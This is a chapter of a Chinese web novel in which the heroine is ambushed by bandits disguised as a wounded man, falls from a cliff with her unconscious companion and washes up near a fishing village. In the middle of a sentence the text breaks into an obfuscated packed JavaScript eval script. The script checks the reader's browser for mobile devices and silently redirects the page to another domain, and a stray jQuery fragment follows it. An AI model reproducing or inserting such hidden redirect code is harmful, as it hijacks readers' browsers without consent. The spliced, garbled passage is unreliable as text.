16. 崖与匪

作品:《吾杀神明

    送走天帝,姜行白勉强打起精神,准备继续行路。


    只是等她扯起缰绳,她这才想起,这马儿已然迷醉,忘记赶路。姜行白坐在车沿边,叹了口气,只得狠心又抽了马儿几鞭子,那马儿吃痛这才开始慢悠悠往前。


    姜行白瞧着路边的树叶,心道或许连乌龟都比他们走得快些。


    她斜靠在车壁前,回头瞥了一眼车厢,闻玄因为马车颠簸早已醉躺过去,她懒得再理人,只等他翻覆在地。


    姜行白心思郁闷,身边却又无人倾诉。无奈,她只好半眯着眼,一面驭马一面假寐,只是这晃悠悠间瞌睡上来,她本也心思疲乏,很快就睡了过去。


    再一个恍然惊醒,马车早停了下来。她揉了揉眼睛,正要挥动马鞭前行,忽见马车早不知什么时候偏移了方向,正对着路边斜崖。她下意识心中一颤,幸好自己是醒过来了,要不然什么时候死的都不知道。


    姜行白松了一口气,调转了方向。忽见前面不远处的路面上好似躺着一个血人,她眯眼看了好一会儿,跳下马车过去。


    她环视了一圈周遭,随后蹲身下看。这人属实怪异,浑身的血迹红艳艳的正是新鲜,地上的血水已漫延出一大片,似又像是在地上躺了好一会儿了。


    姜行白蹲下身子,轻推了推地上血人,唤道,“喂,你活着吗?”说着,她又就着那人身上干净处,将人翻了个身。


    面上血肉被利器划烂,看得她恶心。又见其双目紧阖,气息微弱,姜行白猜人是半截入土了。她如今可再托负不起第二个人肉包袱,想到这里,姜行白又回头看向马车,正在犹豫之际,忽觉项侧一凉——


    那血人不知什么时候已坐起身来,手里正举着尖锐匕首迫在她的脖颈间。


    “你要干什么?”姜行白耐住性子,沉声问道。


    桃木剑留在马车里,如今没有武器在手,又被人利器逼身,她属实有些危险。


    那血人将匕首又贴紧姜行白几分,大喝一声,


    “打劫!”


    此话一出,旁边草丛里瞬间钻出一伙盗匪,齐齐将马车围住。


    姜行白:……


    她此番运气属实有些背了。


    “大哥,马车里还有个昏迷不醒的男人。”那边盗匪叫道。


    “把人杀了,丢出去。”背后的血人道。


    “等等!”姜行心里憋屈,只是而今形势紧迫,她亦能屈能伸。她回觑背后匪徒,“你们要什么东西就都拿去,我不追究了,只是留个活口。”


    背后人默了一瞬,随后道,“别管,将人杀了,从崖边丢下去。”


    “别!”姜行白猛喝道一声,她也顾不得其他了,随即两掌向后,一手抠刺人眼,一手要掐人脖颈。原本想着抓人做个人质交换,不曾想那血人动作也是快,再加上自己颈上利器限制,姜行白只徒手抓到一层面皮,让人生生躲开。


    马车上一群人也是看呆了,等到血人后退开来,这才喝止道,“你再动我们就杀了他!”


    姜行白觉出脖颈刺痛,下意识抹了一把看,脖颈被划出一条血口,但所幸伤口不深,血没流多少。她又看了看另一只手,指甲里还夹杂着黏糊面皮,那血人脸上被这么一抓,露出底下完好的面容。


    姜行白咂舌,一时苦笑。世道艰难,做个劫匪也不容易啊,不仅得会功夫,还得会化妆术,会躺尸,会临机应变才行。


    而今她独自立在几人中间,与前后劫匪互相觑看。那匪徒也没曾想她是个会武的,马车上的人将闻玄提了出来,锋利刀刃紧挨着闻玄脖颈,“你站在那不许动,要不然我们就真杀了他!”


    姜行白眯眼盯住前面人,故作镇定,“别动他,要不然我和你们拼起命来,大家都麻烦!”


    几个劫匪面面相觑,似在纠结。


    “把人和马车给我,其余东西你们可以都拿走。”姜行白又放软了态度,心里却是恨得牙痒痒。


    血人围住姜行白,慢慢移到马车边缘。他看了一圈周遭,大路一侧是斜崖,茫茫无边,看不清底下境况。


    他又上马车看了看,正好看见那桃木剑。好在桃木剑在凡人看来不过是一把简陋的木头,他没甚在意,随即捡了抛下路边斜崖。


    姜行白心痛咬唇,却也一时无法。


    她又道:“马车包袱里有很多值钱的东西,我不要了,我只要你面前的人。”


    那血人看她一眼,与旁人商量道:“那女人拳脚厉害,我们还是小心些。”说着,又指示两个人将闻玄移到了斜崖边。


    姜行白眉眼一跳,慢慢迫近,又被人猛然一喝:“让你别动,要不然他小命不保!”


    她捏紧了拳头,只好停住脚。


    “你也走到崖边,到时候我们把人丢给你。”那血人道。


    姜行白拳头微颤,只好答应。两方行到崖边,姜行白余光见一伙匪徒已经坐上了马车,调转了方向,只等这边两个同伙。


    姜行白迅速顾望了左右一遭,两方正要交手,那匪徒忽而吸气挺肩,忙地就要将闻玄给抛下斜崖。姜行白脚下挑起一个石子往那匪徒面门砸去,匪徒吃痛,就此松开闻玄。另一人见状忙地踹一脚闻玄,就此将人丢出。


    姜行白一个飞扑上去扯出闻玄,背后匪徒还要再踢向两人,那血人喝道,“别管了,我们先走!”


    两人依言,一面瞧着姜行白艰难抓扯半悬的男人,一面回退跳上马车。


    姜行白余光瞥见一伙人扬长而去的身影,气得牙都要咬碎了。而今她两手抓住闻玄手臂,心肺皆痛,再看闻玄双目紧闭毫无反应的模样,她更欲吐血!


    因着手上用力,脖颈伤口越发开裂,渗出的血顺流而下。她吸了一口气,正欲一鼓作气将人提起来,可天不遂人愿——


    她原本已下探出半边身子,随着她动作,袖中的天书由此跌出,姜行白眼神一滞,忙地又去掏抓天书,此番一分神,闻玄的手正好从她手中滑脱,姜行白“诶”叫一声,两方难顾,自己人也从崖上掉落


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337799|183401||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下去。


    ……


    倒霉啊倒霉。


    已近黄昏天色,斜阳落在水面上宛如碎金,只是姜行白此番却实在没有心情欣赏。她兀自坐在水边,看着平静无波的水面,不知是该气还是该喜。


    依照凡间话本子里的说法,悬崖下该是有个湖泊,正好她这也是。侥幸捡回一条命,她从在周边水里找了一圈,没找到闻玄。


    正想着该找哪路神友帮帮忙,甫一回头,正好看见闻玄早已被水冲带上了岸。


    姜行白拖着湿透的衣服上了岸,忙地又探了探他的鼻息、脖颈和脉搏,迹象虽弱,人到底还活着。


    她松了一口气,这又开始气恼,忙地扯着人衣襟,猛地就给了人两个大嘴巴子。


    天杀的,她怎的遇到如此个煞星。说什么下凡历劫,她才是历劫吧!


    姜行白气得又砸了几通水,水花溅得到处都是。她发泄了好一遭,这才慢慢又走到人身边。


    眼神忽而一变,姜行白瞥见闻玄腰下似压着两个熟悉物件。她将人翻开身,一个是天书,一个是桃木剑。


    姜行白捡过物件,一时沉默。


    这才又对着昏迷不醒的闻玄作了一揖,“错打你了。”


    不管怎么的意外,至少重要的东西还在身上,如此想着,她忙又掏了掏腰间锦囊,摸到实感,她终于是松一口气。


    看了一圈周遭,这附近似是个渔村。远处隐约可见几座简陋小屋,小屋炊烟上泛,门前挂着渔网和晾晒的衣服。


    姜行白瞧了瞧地上还在昏醉的人。将人扶起身来,拍了拍背,闻玄由此反应,吐出几口水来。


    她倒是没想过他或许还有呛水这一遭。她又好心给人拍了几掌,见人终于不吐水了,这才又将人扶到肩上。


    “喝了这么多湖水,也没见洗洗你的胃,怎的就是不醒呢。”


    她搀扶起人往村中走去,闻玄已是醉死之人,人无反应。于是,一眼看去,斜阳西下,金光中的姜行白拖着一具尸体,那尸体软垂着双腿在地上拖曳出一道长长的水痕,水痕与悠长的影子混在一处,缠缠绵绵。而她丝毫没注意到这些,脚步坚实,一路朝村中行来。


    村子小,消息传得快。不一会儿街巷里就出来了三三两两的妇人,只盯看着姜行白动作。


    “这女人怎么拖着具死尸啊……”


    “估计是她丈夫,看人情形,估计是路上遭遇什么不测……”


    “哎呦这世道,真是可怜……”


    姜行白措不及防与人对望,眨了眨眼,停下脚步。她而今还不知自己与闻玄已被编排好了几十回凄风苦雨的悲惨大戏,正引得妇人们叹气。


    一个妇人可怜地望着她。妇人身穿灰布袍,身上衣服打了好几个补丁。她小心问道,“这位妹妹,你肩上背的,是你丈夫吧……?”


    “啊……?”姜行白眉眼一跳,正要辩解否认,忽见面前妇人已然开始擦泪。周围原本是旁观的几个妇人,也都围了上来。